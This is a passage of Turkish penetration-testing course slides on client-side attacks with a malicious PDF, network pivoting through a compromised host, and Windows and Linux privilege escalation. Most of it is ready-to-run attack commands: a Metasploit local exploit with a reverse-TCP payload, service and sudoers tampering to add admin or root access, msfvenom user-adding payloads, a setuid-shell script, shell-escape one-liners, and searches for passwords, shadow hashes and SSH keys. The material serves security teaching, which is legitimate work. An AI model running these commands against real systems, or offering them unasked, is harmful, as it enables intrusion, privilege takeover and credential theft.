• Adım adım bir uygulama gerçekleştirelim.
• Saldırı uygulamamızda bir pdf dosyası
kullanacağız.
İSTEMCİ TARAFLI SALDIRILAR
Zararlı içerik
oluşturma
İSTEMCİ TARAFLI SALDIRILAR
Zararlı içerik
oluşturma
İSTEMCİ TARAFLI SALDIRILAR
• Metasploit ile oluşturduğumuz ClientSide.pdf
dosyasını, mail veya farklı bir yolla kullanıcının
bilgisayarına gönderebilirsiniz.
• Biz senaryo amaçlı olarak kopyalıyoruz.
İSTEMCİ TARAFLI SALDIRILAR
İSTEMCİ TARAFLI SALDIRILAR
İstemci tarafına
aktarılan PDF dosyası
İSTEMCİ TARAFLI SALDIRILAR
Handler Payload
Tanımı
İSTEMCİ TARAFLI SALDIRILAR
Exploit
İSTEMCİ TARAFLI SALDIRILAR
PIVOTING
• Bir sunucuyu ele geçirdikten sonra bu sunucunun bağlı
olduğu diğer arayüzlerden erişilebilen sunuculara
erişim imkanımız doğacaktır.
• Farklı bir arayüz bulunmasa bile eriştiğimiz sunucu bir
firewall'un arkasında ise bizim tabi olduğumuz erişim
kurallarından bağımsız biçimde kendi iç ağındaki diğer
sunuculara erişim imkanı olabilir.
PIVOTING
Kali Linux Windows XP Linux Apache
192.168.2.235 192.168.2.211
10.0.0.120
10.0.0.121
PIVOTING
• Ele geçirilen sunucu üzerinden diğer sistemlere erişim
için izleyebileceğimiz yollar:
• Sunucuya Konumlanma: Ele geçirilen sunucuya gerekli
araçları yükleyerek bu sunucu kaynakları üzerinden (komut
satırı, remote desktop v.b. bağlantılar ile) diğer sistemlere
erişmek
• Sunucuyu Router Olarak Kullanma: Atlama sistemi üzerinde
işletim sisteminin verdiği routing imkanları kullanılarak ve
kendi bilgisayarımızda gerekli routing ayarlarını yaparak
diğer sunuculara bu sistem üzerinden erişmek (bu yöntem
eğer hedef sunucu firewall'un arkasında ise büyük oranda etkisiz
olacaktır)
PIVOTING
• Ele geçirilen sunucu üzerinden diğer sistemlere erişim
için izleyebileceğimiz yollar (devamı):
• Sunucuyu Port Forwarder Olarak Kullanma: Yine sunucu
platformunun sağladığı port forwarding imkanlarını veya bu
sunucu üzerinde çalışabilen port forwarding araçlarını
kullanarak diğer sistemlere erişmek. Bu yöntemde ele
geçirdiğimiz sistem bir firewall'un arkasında olsa bile bu
firewall'un izin verdiği bir porta erişerek arka taraftaki
herhangi bir IP adresinin herhangi bir portuna erişme
imkanımız olabilecektir.
PIVOTING
Linux Port Forwarding Örnekleri
Iptables ile port forwarding (ip forwarding aktif olmalı)
# iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j DNAT --to
192.168.1.222:8080
# iptables -A FORWARD -p tcp -d 192.168.1.222 --dport 8080 -j ACCEPT
Socat aracı ile port forwarding
# socat TCP-LISTEN:80,fork TCP:192.168.1.222:8080
Diğer araçlara örnekler
• rinetd
• redir
• haproxy
PIVOTING
Windows Port Forwarding Örnekleri
Netsh ile port forwarding
C:> netsh interface portproxy add v4tov4 listenport=80
connectaddress=192.168.1.222 connectport=8080
Windows ortamındaki araçlar genellikle GUI arayüzlü
araçlar olduğu için çoğu zaman işimize yaramayacaktır.
Ancak Windows sunucu üzerinde bir SSH servisi (ör:
OpenSSH) çalıştırılabilirse (Linux'da da olduğu gibi) SSH'ın
port forwarding imkanı kullanılabilir.
PIVOTING
• Ele geçirilen sunucu üzerinden diğer sistemlere erişim
için izleyebileceğimiz yollar (devamı):
• Meterpreter Oturumu Üzerinden Yönlendirme: Eğer
atlama sistemimizde meterpreter payload'u
çalıştırabilmişsek Metasploit'un sağladığı pivoting araçları
buraya kadar saydığımız yöntemler arasında en pratik
yönlendirmeyi sağlayacaktır.
PIVOTING
Metasploit ile Pivoting
meterpreter> ipconfig [örneğimizde hedef sisteme eriştiğimiz arayüzün
192.168.121.15 olduğu ve bu sistem üzerinde bir de 10.1.0.120 IP adresli ve
255.255.255.0 netmask lı bir başka arayüzün olduğu varsayılmıştır]
meterpreter> run autoroute -h [bu komutla autoroute script i hakkında
yardım bilgisi edinebiliriz]
meterpreter> run autoroute -s 10.1.0.0/24
meterpreter> run autoroute -p [bu komutla mevcut routing tablomuz print
edilebilir]
meterpreter> run arp_scanner [script in opsiyonlarını bu komutla
görebilirsiniz]
meterpreter> run arp_scanner -r 10.1.0.0/24
PIVOTING
Hedef sistemin ağ arayüzlerini inceleme1
Hedef sistem üzerindeki meterpreter bileşenleri üzerinden routing'i aktifleştirme2
Uzak ağdaki sistemleri ARP tarama ile tespit etme3
Metasploit ile Pivoting
Bu noktadan sonra port tarama için iki seçeneğimiz var:
1. Metasploit'in sistem üzerinde çalışan diğer
uygulamaların (örneğin nmap'in) kullanabileceği bir
proxy çalıştırması ve local sunucu üzerinde çalışacak
bu proxy portu üzerinden hedef subnet ve sunuculara
bu uygulamalarla erişme
2. Metasploit'in auxiliary/scanner/portscan/tcp modülü
ile yeni subnet üzerindeki sunucularda TCP port
tarama
PIVOTING
Metasploit ile Pivoting (1. Yöntem)
meterpreter> background [auxilary socks proxy modülümüzü kullanmak için
mevcut oturumumuzu arka plana atmalıyız]
msfconsole> sessions -l [aktif meterpreter oturumlarınızı listelemek
isterseniz, bu örnekte hedef sisteme bağlı olunan oturum numarasının "1"
olduğu
msfconsole> route add 10.1.0.0 255.255.255.0 1 [meterpreter oturumunun
içindeyken yaptığımız tanımdan sonra buna gerek olmaması lazım, ama route
print komutuyla bir kontrol ettikten sonra route tanımını göremiyorsanız bu
komutu çalıştırmanız gerekebilir]
msfconsole> route print [bu komutla eklediğiniz route konfigürasyonunda
herhangi bir hata olup olmadığını inceleyebilirsiniz]
msfconsole> use auxiliary/server/socks4a
msfconsole> show options [birşeyi değiştirmemiz gerekmez, ancak proxy nin
çalışacağı portun 1080 olduğunu hatırlamak için opsiyonlara göz atmakta
fayda var]
msfconsole> run [socks proxy arka planda çalışmaya başlar]
PIVOTING
SOCKS proxy servisini başlatma1
Metasploit ile Pivoting (1. Yöntem)
/etc/proxychains.conf dosyası içinde aşağıdaki değişiklik yapılır:
socks4 127.0.0.1 1080
Bu aşamadan sonra proxychains uygulaması ile sistem üzerindeki uygulamaları
kullanabiliriz:
proxychains nmap -sT -Pn 10.1.0.155 [burada tarama yöntemi olarak TCP
connect scan in kullanılmış olmasına dikkat ediniz. Bu örnekte hedef IP
adresimiz 10.1.0.155 olarak seçilmiştir. -Pn opsiyonu özellikle önemli
çünkü proxy bağlantısı üzerinden ICMP ve UDP paketlerini taşınamaz, sadece
TCP paketleri iletilmelidir.]
proxychains nmap -sT -Pn -p- 10.1.0.155
PIVOTING
Proxychains ayarı2
Proxychains kullanarak nmap ile port tarama3
Metasploit ile Pivoting (2. Yöntem)
msfconsole> use auxiliary/scanner/portscan/tcp
msfconsole> show options [opsiyonlardan port aralığı ve IP adreslerini
değiştirmek isteyeceksiniz]
msfconsole> set ports 1-65535
msfconsole> set rhosts 10.1.0.155
msfconsole> run
PIVOTING
Metasploit kullanarak TCP port tarama (UDP port tarama imkanı bulunmamaktadır)1
Metasploit ile Pivoting (2. Yöntem)
msfconsole> sessions -i 1 [Meterpreter oturumunuza geçmek için, burada
oturum numaranızın "1" olduğu varsayılmıştır]
meterpreter> portfwd -h [komut hakkında yardım almak için. Meterpreter
komutları hakkında yardım almak için help komutunu çalıştırabilirsiniz]
meterpreter> portfwd add -l 8000 -p 80 -r 10.1.0.155
Bu adımdan sonra browser'ınızda şu URL'i yazdığınızda hedef HTTP servisine
erişirsiniz:
http://localhost:8000/
PIVOTING
Metasploit kullanarak TCP port tarama (UDP port tarama imkanı bulunmamaktadır)2
Lokal port üzerinden uzaktaki sisteme erişim3
YETKİ
YÜKSELTME
İÇERİK
• Jenerik Yetki Yükseltme Metodu
• Linux Yetki Yükseltme Yöntemleri
• Windows Yetki Yükseltme Yöntemleri
JENERİK YETKİ YÜKSELTME METODU
1. Kullanıcı bilgilerimiz ve yetki seviyemiz
2. Sistem üzerinde bulunabilecek yetki yükseltme
açıklıkları yama eksikliklerinin tespiti
3. Sistem servisleri, zamanlı işler ve yüksek yetkili
uygulama dosyalarının incelenmesi
4. Sistem üzerinde çalışan proses’lerin, ağ servislerinin
incelenmesi
5. Erişim bilgileri v.d. hassas bilgi barındırabilecek
veritabanı ve dosyaların incelenmesi, sistem
genelinde konfigürasyon açıklıklarının araştırılması
JENERİK YETKİ YÜKSELTME METODU
1. Mevcut kullanıcımızın kim olduğu ve bu kullanıcının sistem üzerindeki haklarının
anlaşılması (mevcut kullanıcımız sistem yöneticisi olmasa da sistem yöneticisi
komutlarını çalıştırma hakları bulunabilir, diğer kullanıcılar hedef alınabilir)
2. Sistem üzerinde lokal yetki yükseltme imkanı verebilecek açıklıklarını kapatan
işletim sistemi yamalarının uygulanıp uygulanmadıklarının incelenmesi
3. Sistem servisleri, zamanlı işler ve yüksek yetkili uygulamaların tespiti, bunların
hangi kullanıcı hakları ile çalıştıklarının incelenmesi, yetki yükseltme açıklığı
barındırıp barındırmadıklarının, konfigürasyon zayıflıklarının incelenmesi
4. Uzaktan erişilemeyen ancak lokal olarak erişilebilen proses ve ağ servislerinin
tespiti, bunlarda bulunabilecek açıklıkların veya bunların konfigürasyonlarındaki
güvensiz ayarların incelenmesi
5. (Mevcut kullanıcı hakları ile erişebildiklerimiz için) Sistem üzerindeki diğer kullanıcı
home dizinlerinin, sistemin niteliğine uygun olarak belli sistem dosyalarının /
veritabanlarının (ör: registry) diğer kullanıcı hesaplarına geçiş imkanı
sağlayabilecek erişim bilgileri, v.b. bilgileri barındırıp barındırmadıklarının
incelenmesi amacıyla gözden geçirilmesi
JENERİK YETKİ YÜKSELTME METODU
ÖNEMLİ
• Yetki yükseltme çalışmalarının önemli bölümü ve ilk adımı
bilgi toplama (enumeration) adımıdır.
• Ancak bilgi toplama tek başına bir işe yaramaz, edindiğiniz
bilgileri nasıl kullanacağınızı da bilmeniz gereklidir.
WINDOWS YETKİ YÜKSELTME
Kullanıcı bilgilerimiz ve yetki seviyemiz
Domain adı (veya makine adı) ve kullanıcı adımız
C:> whoami
Kullanıcımızın üye olduğu gruplar
C:> whoami /groups
Sistem üzerindeki kullanıcılar ve kullanıcı grupları ile Administrators grubuna üye
kullanıcıların listeleri
C:> net users
C:> net localgroup
C:> net localgroup Administrators
Metasploit post exploitation modülünü kullanarak kullanıcımızın hakları ile ilgili
enumeration
meterpreter> run post/windows/gather/win_privs
WINDOWS YETKİ YÜKSELTME
Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama
eksikliklerinin tespiti
Sistem versiyon ve yama bilgilerini çekmek için
C:> systeminfo
Exploit suggester script'ini kullanarak inceleme yapmak için
shell> systeminfo > C:windowstempsysteminfo.txt
meterpreter> download C:windowstempsysteminfo.txt
# ./windows-exploit-suggester.py --update
# pip install xlrd
# ./windows-exploit-suggester.py -i systeminfo.txt -d 2017-06-27-mssb.xls >
winexploits.txt
# grep -i version winexploits.txt
# grep -i priv winexploits.txt
Mevcut bir meterpreter oturumu içinde local exploit araştırma
meterpreter> run post/multi/recon/local_exploit_suggester
WINDOWS YETKİ YÜKSELTME
Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama
eksikliklerinin tespiti [SALDIRI ÖRNEĞİ – Metasploit Local Exploit]
msf > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf exploit(ms14_058_track_popup_menu) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf exploit(ms14_058_track_popup_menu) > set LPORT 28746
LPORT => 28746
msf exploit(ms14_058_track_popup_menu) > set PAYLOAD
windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(ms14_058_track_popup_menu) > set TARGET 1
TARGET => 1
msf exploit(ms14_058_track_popup_menu) > set SESSION 3
SESSION => 3
msf exploit(ms14_058_track_popup_menu) > set ExitOnSession false
ExitOnSession => false
msf exploit(ms14_058_track_popup_menu) > exploit -j
WINDOWS YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi
Belli bir servis konfigürasyonu hakkında bilgi elde etmek için
C:> sc query [tüm servisleri listeler, ilk sırada SERVICE_NAME bölümünde
servis adı görülür]
C:> sc qc serviceadi
Bu servisin konfigürasyon değişiklik haklarını görmek için
C:> sc sdshow serviceadi
Accesschk aracı ile sıradan kullanıcıların servisler üzerindeki haklarının sorgulanması
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula
Not: Bu açıklık Windows XP SP 0 ve 1'den sonra öntanımlı olarak bulunmamaktadır.
WINDOWS YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi [SALDIRI ÖRNEĞİ]
Writable servislerin tespit edilmesi halinde yapılması gereken işlem (upnphost ve ssdpsrv
servislerindeki bu açıklık Windows XP SP 0 ve 1 için geçerlidir)
sc config upnphost binpath= "net user btr1 Password1 /add"
sc stop upnphost
sc start upnphost
sc config upnphost binpath= "net localgroup Administrators btr1 /add"
sc stop upnphost
sc start upnphost
Kullanıcı ekleme işini yapan bir exe üretme
# msfvenom -p windows/adduser USER=btr1 PASS=Password1 -f exe > adduser.exe
Payload servis tarafından çalıştırıldıktan sonra
# rdesktop -u btr1 10.11.1.13
Terminal erişim imkanımız yoksa farklı bir payload'u admin olarak çalıştırmak için
C:> runas /user:btr1Password1 "C:UsersBTR-
1AppDataLocalTemppayload.exe"
WINDOWS YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi (devamı)
Tüm servisleri listelemek ve daha sonra belli bir servisin çalıştırılabilir dosya ayarını
görmek için
C:> sc query [tüm servisleri listeler, ilk sırada SERVICE_NAME bölümünde
servis adı görülür]
C:> sc qc serviceadi [servis ile ilgili bilgiler sorgulanır,
BINARY_PATH_NAME bölümünde exe yolu görülür]
Bir dizin ve dosya üzerindeki erişim izinlerini görmek için
C:> accesschk.exe -dqv "C:Python27" /accepteula
C:> accesschk.exe -qv filename.txt /accepteula
WINDOWS YETKİ YÜKSELTME
Sistem üzerinde çalışan proses’lerin, ağ servislerinin incelenmesi
Sistem üzerinde aktif ağ servislerinin görüntülenmesi için (local admin haklarına sahip
değilsek servisin arkasında çalışan uygulama adını göremeyiz)
C:> netstat -anob [o – process id’sini, b – binary dosyayı gösterir]
Local admin hakkına sahip olmadığımızda ağ servislerinin arkasında çalışan binary
görüntülenmeyecektir. Bunun için process id’sinden proses uygulama adını görmek için
aşağıdaki komutu kullanabiliriz.
C:> tasklist /fi "pid eq 1064"
Sistem üzerinde çalışan tüm proses’lerin listesi ve varsa bu proses’lerden bir Windows
servisi ile ilişkili olanlarını listelemek için
C:> tasklist /SVC
Proses’lerin hangi kullanıcı hakları ile çalıştıklarını da incelemek için
C:> tasklist /V
WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması
Parola barındıran dosyalar
Sonraki sorgularda zaman kaybını azaltmak için dosya listesinin oluşturulması
C:> dir  /a/s/b > dosyalistesi.txt
Daha sonra aşağıdaki komutlarla bu dosya içinde Administrator kullanıcı parolası
barındırma ihtimali bulunan dosya isimlerini arayabiliriz.
C:> type dosyalistesi.txt | findstr /I unattend.xml
C:> type dosyalistesi.txt | findstr /I unattend.txt
C:> type dosyalistesi.txt | findstr /I sysprep.inf
C:> type dosyalistesi.txt | findstr /I sysprep.xml
WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Administrator hakları ile kurulum dosyası çalıştırma yetkisi
C:> reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v
AlwaysInstallElevated
C:> reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v
AlwaysInstallElevated
WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması [SALDIRI ÖRNEĞİ]
Administrator hakları ile kurulum dosyası çalıştırma yetkisinin bulunması halinde
msfvenom ile bir “msi” payload'u oluşturarak local Administrators grubuna bir kullanıcı
ekleyebiliriz:
# msfvenom -p windows/adduser USER=btr1 PASS=Password1 -f -f msi-nouac -o
adduser.msi
C:> msiexec /quiet /qn /i C:UsersBTR-1AppDataLocalTempadduser.msi
WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Öntanımlı kullanıcı adı ve parola barındıran registry kayıtları
reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" /v
DefaultPassword 2> nul
reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" /v
DefaultUsername 2> nul
reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" /v
DefaultDomainname 2> nul
Parola bulunabilecek diğer registry kayıtları
reg query HKLMSOFTWARERealVNCvncserver /v Password 2> NUL
reg query HKLMSoftwareTightVNCServer /v Password 2> NUL
WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Daha jenerik biçimde içinde “password” kelimesi geçen tüm registry kayıtları aşağıdaki
komutlarla araştırılabilir:
reg query HKLM /k /f password /t REG_SZ /s
reg query HKCU /k /f password /t REG_SZ /s
WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Tırnak ile kapatılmamış servis çalıştırılabilir dosya yolu
C:Program Filessub dirprogram name.exe
Windows işletim sistemi bu çalıştırılabilir kodu çalıştırmak için şu sırada dosya arayacaktır:
C:program.exe filessub dirprogram name
C:program filessub.exe dirprogram name
C:program filessub dirprogram.exe name
Bir dizinin erişim haklarını incelemek için:
C:> accesschk.exe -dqv "C:program filessub dir " /accepteula
WINDOWS YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Dosya adı ve içerik araştırma (örnek komutlar)
C:> type dosyalistesi.txt | findstr /I .*ssh.*[.]ini$
C:> type dosyalistesi.txt | findstr /I .*ultravnc[.]ini$
C:> type dosyalistesi.txt | findstr /I .*vnc[.]ini$
C:> findstr /si "password=" C:*.ini C:*.xml C:*.txt C:*.bat 2> nul
C:> findstr /si "passwd=" C:*.ini C:*.xml C:*.txt C:*.bat 2> nul
C:> findstr /si "pass=" C:*.ini C:*.xml C:*.txt C:*.bat 2> nul
C:> findstr /si "pwd=" C:*.ini C:*.xml C:*.txt C:*.bat 2> nul
...
LINUX YETKİ YÜKSELTME
Kullanıcı bilgilerimiz ve yetki seviyemiz
Kullanıcı adımız, kullanıcı ve grup id'lerimiz
whoami 2>/dev/null
id 2>/dev/null
"sudoers" dosyası erişim hakları ve görebiliyorsak içeriği
ls -al /etc/sudoers 2>/dev/null
cat /etc/sudoers 2>/dev/null
Kullanıcımızın sudo hakları
sudo -l -n 2>/dev/null
Tüm kullanıcılar ve gruplar ile ilgili bilgiler
cat /etc/passwd 2>/dev/null
cat /etc/group 2>/dev/null
LINUX YETKİ YÜKSELTME
Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama
eksikliklerinin tespiti
Linux kernel, işlemci ve işletim sistemi versiyonlarını inceleme
uname -a 2>/dev/null
cat /proc/version 2>/dev/null
lscpu 2>/dev/null
cat /etc/*-release
Yetki yükseltme açıklığına sahip olabilecek uygulama ve sunucu versiyonlarını inceleme
sudo -V | grep version 2>/dev/null
mysql --version 2>/dev/null
Mount edilmiş file system'ler
mount 2>/dev/null
LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi
Cron job’ların incelenmesi
“other” tarafından yazılabilir cron scriptleri ve içerikleri
find /etc/cron* -perm -0002 -exec ls -la {} ; -exec cat {} 2>/dev/null ;
/etc/crontab dosyası içeriği
cat /etc/crontab 2>/dev/null
Varsa root ve diğer kullanıcıların crontab dosyaları listesi
ls -laR /var/spool/cron 2>/dev/null
Varsa root ve diğer kullanıcıların crontab dosyaları içerikleri
find /var/spool/cron/ -type f -exec tail -n +1 {} + 2>/dev/null
Varsa /etc/cron.d dizininde bulunan dosyaların listesi
ls -laR /etc/cron.d 2>/dev/null
...
LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi (devamı)
Setuid dosyaların incelenmesi
Sahibi “root” olan other tarafından yazılabilir “setuid” dosyalar
find / -uid 0 -perm -4002 -type f -exec ls -al {} ; 2>/dev/null
“other” tarafından yazılabilir tüm “setuid” dosyalar
find / -perm -4002 -type f -exec ls -al {} ; 2>/dev/null
Tüm “setuid” dosyalar
find / -perm -4000 -type f -exec ls -al {} ; 2>/dev/null | tee setuid-
files-enum.txt
Benzer biçimde setgid dosyalar da incelenmelidir.
LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi [SALDIRI ÖRNEĞİ]
“root” hakları ile çalışan bir cron script’ine veya setuid bit’i işaretli bir script’e müdahale
edebiliyorsak aşağıdaki satırları içine yerleştirebiliriz:
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >>
/etc/sudoers && chmod 440 /etc/sudoers' > /script.sh
Değişiklik yaptığımız script çalışıp da sudoers dosyasında yukarıda görülen değişikliği
yaptıktan sonra şu komutu çalıştırarak root hakları ile shell alabiliriz:
sudo /bin/bash
LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi [SALDIRI ÖRNEĞİ]
Aşağıda bir Python script’i ile “s” bit’i işaretli bir shell oluşturma yöntemini görebilirsiniz:
#!/usr/bin/env python
import os
import sys
try:
os.system('cp /bin/sh /tmp/sh && chmod 4777 /tmp/sh && /tmp/sh')
except:
sys.exit()
Çeşitli diller ve araçlar (bash, perl, python, php, java, netcat) kullanılarak reverse shell
alma imkanı sağlayabileceğimiz diğer yöntemler için aşağıdaki link’ten faydalanabiliriz:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi (devamı)
Shell escape imkanı veren uygulamaların incelenmesi
Bazı uygulamaların içinden komut satırı komutları çalıştırmak veya bir shell almak
mümkündür. Eğer bu uygulamaları sudo ile çalıştırabilirsek veya bu uygulamaların “s”
bit’leri işaretli ise, bu uygulamaların içinden root hakları ile shell başlatabiliriz.
Bu tür uygulamaları tespit etmek için aşağıdaki komutu çalıştırabiliriz (setuid-files-
enum.txt dosyası yukarıdaki tüm “s” bitli dosyaları belirleyen komut neticesinde oluşmuş
olmalıdır)
cat setuid-files-enum.txt 2>/dev/null | grep -i -E
'vi|awk|perl|find|nmap|man|more|less|tcpdump|bash|sh$|vim|nc$|netcat|python
|ruby|lua|irb' | grep -v -E 'chsh|device'
LINUX YETKİ YÜKSELTME
Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama
dosyalarının incelenmesi [SALDIRI ÖRNEĞİ]
Shell escape imkanı veren komut örnekleri:
awk
awk 'BEGIN {system("/bin/bash")}'
nmap
--interactive
nmap
echo "os.execute('/bin/sh')" >
exploit.nse
sudo nmap --script=exploit.nse
perl
perl -e 'exec "/bin/bash";'
vi, vim
:!bash
vi, vim
:set shell=/bin/bash
:shell
man, more, less
!bash
find
find / -exec /usr/bin/awk 'BEGIN
{system("/bin/bash")}' ;
LINUX YETKİ YÜKSELTME
Sistem üzerinde çalışan proses’lerin, ağ servislerinin incelenmesi
Loopback arayüzünden erişilebilen TCP ve UDP ağ servislerini incelemek için (elbette yetki
yükseltebilmek için açıklık barındıran bir servisin root hakları ile çalışması gerekir)
netstat -antp
netstat -anup
“p” opsiyonu root hakkına sahipsek servisin arkasındaki proses id’si ve adını gösterecektir,
dolayısıyla sıradan bir kullanıcıysak aslında bir işe yaramayacak.
root kullanıcısı olarak calışan prosesler
ps aux | grep root
Çalışan proseslerin imajları ve bunlara erişim hakları
ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması
Parola hash’lerini ele geçirmek için shadow dosyası veya yedeklerine erişmeye çalışmak
cat /etc/shadow 2>/dev/null
grep -i -E 'shadow' dirlist-enum.txt | xargs ls -al 2>/dev/null
(Öncesinde dirlist-enum.txt dosyasının oluşturulduğu varsayılmıştır)
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Home dizinleri ve içerikleri
/root/ dizini altındaki dosyalar ve erişim hakları
ls -ahlR /root/ 2>/dev/null
/home/ dizini altındaki dosyalar ve erişim hakları
ls -ahlR /home/ 2>/dev/null
Eğer home dizinleri /usr/ dizini altında ise buradaki dosyalar ve erişim hakları
ls -ahlR /usr/home/ 2>/dev/null
/home/ dizini altındaki okunabilir dosyaların listesi
find /home/ -perm -4 -type f -exec ls -al {} ; 2>/dev/null
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
History dosyaları erişim hakları ve içerikleri
ls -la /home/*/.*_history 2>/dev/null
ls -la /root/.*_history 2>/dev/null
cat ~/.*_history 2>/dev/null
cat /root/.*_history 2>/dev/null
cat /home/*/.*_history 2>/dev/null
SSH anahtar ve anahtar dizinlerinin listesi
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name
"authorized_hosts" -o -name "authorized_keys" 2>/dev/null
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması [SALDIRI ÖRNEĞİ]
ssh servisine parola ile bağlanma
"ssh -l $user $host" veya "ssh $user@$host"
ssh servisine farklı bir port'tan bağlanma
ssh $user@$host -p $port
ssh servisine private key ile bağlanma
ssh -i /path/to/id_rsa $user@$host
ssh -i /path/to/id_dsa $user@$host
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Mysql erişimi(mysql root’u ile sistem root’u farklıdır)
mysqladmin -uroot -proot version
mysqladmin -uroot version
Mysql erişim bilgilerini içerebilecek konfigürasyon dosya içeriğinin incelenmesi
cat /etc/mysql/my.cnf 2>/dev/null
cat /etc/my.cnf 2>/dev/null
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması [SALDIRI ÖRNEĞİ]
MySQL UDF (User Defined Function) Fonksiyonalitesi ile Yetki Yükseltme Saldırısı
Windows örneği
http://blog.btrisk.com/2017/01/mysql-udf-fonksiyonalitesi-ile-yetki-
yukseltme.html
Linux örneği
https://www.exploit-db.com/exploits/1518/
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Web uygulama dizinlerı ve dosyaların listesi - ekleme yapılabilir
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
Mail içerikleri
cat /var/mail/root 2>/dev/null
cat /var/spool/mail/root 2>/dev/null
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
açıklıklarının araştırılması (devamı)
Mount konfigürasyonu (mount edilmemiş dosya sistemleri olabilir mi?)
cat /etc/fstab
fstab içinde kullanıcı erişim bilgileri arama
cat /etc/fstab 2>/dev/null |grep username |awk
'{sub(/.*username=/,"");sub(/,.*/,"")}1'| xargs -r echo username:; cat
/etc/fstab 2>/dev/null |grep password |awk
'{sub(/.*password=/,"");sub(/,.*/,"")}1'| xargs -r echo password:; cat
/etc/fstab 2>/dev/null |grep domain |awk
'{sub(/.*domain=/,"");sub(/,.*/,"")}1'| xargs -r echo domain:
fstab içinde credentials dosya referansı arama
cat /etc/fstab 2>/dev/null |grep cred |awk
'{sub(/.*credentials=/,"");sub(/,.*/,"")}1'| xargs -I{} sh -c 'ls -la {};
cat {}'
LINUX YETKİ YÜKSELTME
Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve
dosyaların incelenmesi, sistem genelinde konfigürasyon
